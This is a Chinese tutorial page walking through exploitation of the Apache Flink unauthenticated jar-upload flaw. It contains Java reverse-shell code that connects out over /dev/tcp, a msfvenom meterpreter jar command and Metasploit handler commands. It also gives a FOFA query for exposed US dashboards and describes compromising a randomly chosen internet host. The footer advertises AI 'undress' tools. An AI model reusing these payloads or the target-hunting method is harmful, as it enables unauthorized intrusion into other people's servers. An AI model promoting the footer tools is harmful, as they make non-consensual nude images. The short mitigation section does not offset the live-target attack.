apache flink任意jar包上传导致远程代码执行的示例分析
漏洞描述:
2019年11月11号,安全工程师Henry Chen披露了一个Apache Flink未授权上传jar包导致远程代码执行的漏洞。由于Apache Flink Dashboard 默认无需认证即可访问,通过上传恶意jar包并触发恶意代码执行,从而获取shell。
影响范围
<= 1.9.1(最新版本)
环境搭建:
(1) 提前安装好java(需要java8以上)
(2) 下载flink-1.9.1
下载地址:https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
(3) 解压下载的压缩包:
tar -zxf flink-1.9.1-bin-scala_2.11.tgz
(4) 进去到解压后的目录中,来到其bin目录下:
(5) 启动flink:
./start-cluster.sh
(6) 浏览器访问验证(默认端口为8081):
http://172.26.1.108:8081
出现上图即搭建成功.
(7) 设置开机自启(这里折腾了好久,一直起不来.直接source /etc/rc.d/rc.local可以启动,但是重启后并不会启动flink,最后找到了解决方法)
开机自启设置
漏洞复现:
jar包制作步骤:
(1) 参考https://klionsec.github.io/2016/09/27/revese-shell/#menu文中给出的利用java反弹shell
记得修改ip和端口:
代码:
<p >package shell;public class Revs { <br/> /** * @param args * @throws Exception */ <br/> public static void main(String[] args) throws Exception { <br/> // TODO Auto-generated method stub <br/> Runtime r = Runtime.getRuntime(); <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&5; done"}; <br> Process p = r.exec(cmd); <br> p.waitFor();<br> }}</p> <p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p> <p>b.然后选择java-->Runnable JAR file</p> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687683044.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p> <p>c.然后选择对应的java项目和导出路径以及导出文件名</p> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687618388.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p> <p>图片</p> <p>这样就生成了一个反弹shell的jar包</p> <p>msf生成jar马:</p> <p>(1) 利用msfvenom来生成一个jar马:</p> <pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
(2) 打开msf的监听模块,并监听9999端口(要与我们jar马设置的端口一致)
use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit
(3) 上传我们生成的jar马并提交后(这部分操作参考下面的复现),可以看到我们成功接收到shell:
本地复现:
(1) 访问目标:
(2) 点击Submit New job,打开上传jar包的页面:
(3) 点击Add New选择我们制作好的jar包:
(4) 我们的机器上监听好端口(我们制作的jar包是直接反弹shell的)
(5) 点击我们刚刚上传的jar包:
(6) 然后点击Submit即可,可以看到我们已经成功接收到了shell:
互联网站点:
fofa关键词:
"apache-flink-dashboard" && country="US"
(1) 随便找一个目标:
(2) 点击Submit new Job,可以看到其可以允许我们上传jar包
(3) 利用flink上传jar包的功能将我们的jar包上传:
(4) 上传后,我们在我们的vps上监听好端口
(5) 然后回到浏览器,选中我们刚刚上传的jar包,然后点击Submitting提交,可以看到我们的vps已经成功接收到了shell
漏洞修复:
建议设置防火墙策略,仅允许白名单ip访问 apache flink服务,并在Web代理(如apache httpd)中增加对该服务的digest认证。
时刻关注官网,等待新版本或补丁更新
以上是apache flink任意jar包上传导致远程代码执行的示例分析的详细内容。更多信息请关注PHP中文网其他相关文章!

热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

AI Hentai Generator
免费生成ai无尽的。

热门文章

热工具

记事本++7.3.1
好用且免费的代码编辑器

SublimeText3汉化版
中文版,非常好用

禅工作室 13.0.1
功能强大的PHP集成开发环境

Dreamweaver CS6
视觉化网页开发工具

SublimeText3 Mac版
神级代码编辑软件(SublimeText3)

eclipse导入jar包的方法:1、创建一个新的Java项目;2、创建库文件夹;3、将jar包复制到库文件夹中;4、配置项目构建路径;5、添加jar包到构建路径;6、配置项目构建路径;7、验证导入结果;8、注意事项;9、其他导入方法;10、清理和更新;11、维护和更新库。详细介绍:1、创建一个新的Java项目,启动Eclipse IDE,顶部菜单栏中选择“File”菜单等等。

maven导入jar包的步骤:1、下载jar包;2、创建Maven项目;3、添加依赖;4、添加dependency元素;5、保存pom.xml文件;6、构建项目;7、验证导入。详细介绍:1、下载jar包,首先从相关网站或源代码仓库下载所需的jar包,确保下载的jar包与你的项目兼容,并符合所需的版本要求;2、创建Maven项目,如果还没有Maven项目,需要先创建一个等等。

SparkStreaming和Flink都是流处理框架,具有不同的特性:编程模型:SparkStreaming基于SparkRDD模型,而Flink拥有自己的流式处理API。状态管理:Flink内置状态管理,而SparkStreaming需要外部解决方案。容错性:Flink基于快照,而SparkStreaming基于检查点。扩展性:Flink基于流操作符链,而SparkStreaming基于集群扩展。在实时数据聚合用例中,Flink通常性能优于SparkStreaming,因为它提供了更好的吞吐

标题:Maven进阶教程:深入探索Jar包导入的各种方法Maven作为Java项目管理工具,广泛应用于项目的构建、依赖管理等方面。在实际开发过程中,我们经常会用到各种第三方库的Jar包,而如何有效地导入Jar包成为了一个必须掌握的技能。本文将深入探讨Maven中导入Jar包的方法,包括使用本地Jar包、远程仓库Jar包以及自定义Jar包等多种方式,并给出具体

随着大数据时代的来临,数据处理成为了各个行业都需要关注和解决的问题。而作为一种高性能的数据处理工具,Flink的出现为我们提供了一个高效、可靠、可扩展的解决方案。在本文中,我们将介绍如何在Go语言中使用Flink实现高效的数据流处理。一、Flink简介ApacheFlink是一个开源的分布式数据处理平台,它的目标是提供一种高效、可靠、可扩展的处理大规模数据

MySQL的Jar包使用指南及注意事项MySQL是一种常用的关系型数据库管理系统,许多Java项目都会使用MySQL作为数据存储的后端。在Java项目中,要与MySQL数据库进行交互,就需要使用MySQL提供的Java驱动程序(即Jar包)。本文将介绍MySQL的Jar包的使用指南及注意事项,并提供具体的代码示例,帮助读者更好地使用MySQL驱动程序。一、M

Maven入门指南:如何正确导入Jar包?Maven是一个强大的项目管理工具,能够帮助开发人员管理项目依赖、构建项目等。在项目开发中,我们经常需要导入外部的Jar包来实现一些功能。本文将介绍如何使用Maven来正确导入Jar包,并提供具体的代码示例。首先,我们需要在Maven的pom.xml文件中添加对所需Jar包的依赖。在pom.xml中,有一个

MySQL的Jar包是指用于连接和操作MySQL数据库的Java驱动程序包。在Java开发中,需要通过Jar包来实现与MySQL数据库的交互功能。MySQL的Jar包提供了一系列的类和方法,使得开发人员可以轻松地连接MySQL数据库、执行SQL语句、获取查询结果等操作。一般情况下,开发人员可以通过官方网站或者Maven仓库等渠道下载MySQL的Jar包,并将
